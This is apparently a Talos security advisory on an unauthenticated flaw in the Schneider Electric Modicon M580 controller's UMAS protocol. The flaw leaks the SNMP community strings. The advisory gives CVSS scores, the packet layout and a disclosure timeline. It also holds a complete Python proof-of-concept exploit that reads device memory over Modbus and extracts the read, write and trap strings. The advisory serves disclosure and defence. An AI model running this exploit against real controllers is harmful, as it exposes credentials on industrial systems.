Lucene search

K
talosTalos IntelligenceTALOS-2019-0769
HistoryJun 10, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS read system blocks and bits information disclosure vulnerability

2019-06-1000:00:00
Talos Intelligence
www.talosintelligence.com
193

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS

0.002

Percentile

61.7%

Summary

An exploitable information disclosure vulnerability exists in the UMAS Read System Blocks and Bits functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of memory, resulting in the disclosure of plaintext read, write, and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-200: Information Exposure

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as β€œUMAS.”

The device supports a UMAS command that allows the user to read arbitrary bits and blocks of data from its programmed strategy, indicated by the use of the function code 0x22. When this command is used against the block containing the device security configuration, it is possible to read far enough into the file to obtain the read, write, and trap SNMP community strings.

The structure of the READ_SYSTEM_BLOCKS_AND_BITS command takes a form similar to:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |       D       | E | F |   G   | H |   I   | J |
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x22)
D --&gt; Shifted Project CRC  (obtained via a READ_PLC_INFO command)
E --&gt; Values to Read
F --&gt; Data Type            (0x01)
G --&gt; Block Number
H --&gt; Unknown              (0x01)
I --&gt; Base Offset           
J --&gt; Relative Offset

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
  
def send_message(sock, umas, data=None, wait_for_response=True):
    if data == None:
        packet = ModbusADURequest(transId=1)/umas
    else:
        packet = ModbusADURequest(transId=1)/umas/data
    msg = "%s" % Raw(packet)
    resp = ""
    sock.send(msg)
    if wait_for_response:
        resp = sock.recv(2048)
    return resp
  
def main():
    rhost = "192.168.10.1"
    rport = 502
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
      
    # READ_PLC_INFO
    mbtcp_fnc       = "\x5a"
    session         = "\x00"
    func_code       = "\x04"
    umas = "%s%s%s" % (mbtcp_fnc, session, func_code)
    res = send_message(sock=s, umas=umas)
    crc = struct.unpack("&lt;I", res[14:18])[0]
    shifted_crc = crc &lt;&lt; 1
 
    # READ_SYSTEM_BLOCKS_AND_BITS
    mbtcp_fnc       = "\x5a"
    session         = "\x00"
    func_code       = "\x22"
    crc             = struct.pack("&lt;I", shifted_crc)
    values_to_read  = "\x01"
    data_type       = "\x01"
    block_num       = "\x48\x00"
    unknown         = "\x01"
 
    data = ""
    for i in xrange(0x05):
        for j in xrange(0x100):
            base_offset = struct.pack("&lt;H", i)
            relative_offset = struct.pack("B", j)
            umas = "%s%s%s%s%s%s%s%s%s%s" % (mbtcp_fnc, session, func_code, crc, values_to_read, data_type, block_num, unknown, base_offset, relative_offset)
            res = send_message(sock=s, umas=umas)
            if res[9] == "\xfe":
                data += res[-1]
 
 
    # parse the downloaded data
    # start by searching for a static heading and cropping down the data
    bfpx_index = data.index("BFPX")
    services_section_data = data[bfpx_index:]
    bfpx_data_size = 0x38
  
    # parse the downloaded data
    # parse the zip file section header table
    services_data = services_section_data[bfpx_data_size:]
    services_data_len = len(services_data)
    data_offset = 0
    snmp_size = 0
    snmp_offset = 0
    header_size = 0x1c
    headers = 0
    for i in xrange(0, services_data_len, header_size):
        section_name = services_section_data[i+0x01:i+0x10]
        if section_name[:3] == "ST_":
            headers += 1
            if "ST_SNMP" in section_name:
                snmp_size = struct.unpack("&lt;H", services_section_data[i+0x19:i+0x1b])[0]
                snmp_offset = data_offset
            data_offset += struct.unpack("&lt;H", services_section_data[i+0x19:i+0x1b])[0]
    snmp_offset += headers * header_size
  
    # parse the snmp section data
    snmp_data = services_data[snmp_offset:snmp_offset+snmp_size]
    comm_string_size = 16
    write_offset = 0
    read_offset = write_offset + comm_string_size
    trap_offset = read_offset + comm_string_size
  
    write = snmp_data[write_offset:read_offset]
    read = snmp_data[read_offset:trap_offset]
    trap = snmp_data[trap_offset:trap_offset+comm_string_size]
      
    print "Write:\t%s" % (write)
    print "Read:\t%s" % (read)
    print "Trap:\t%s" % (trap)
  
    # clean up
    s.close()
  
if __name__ == '__main__':
    main()

Timeline

2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS

0.002

Percentile

61.7%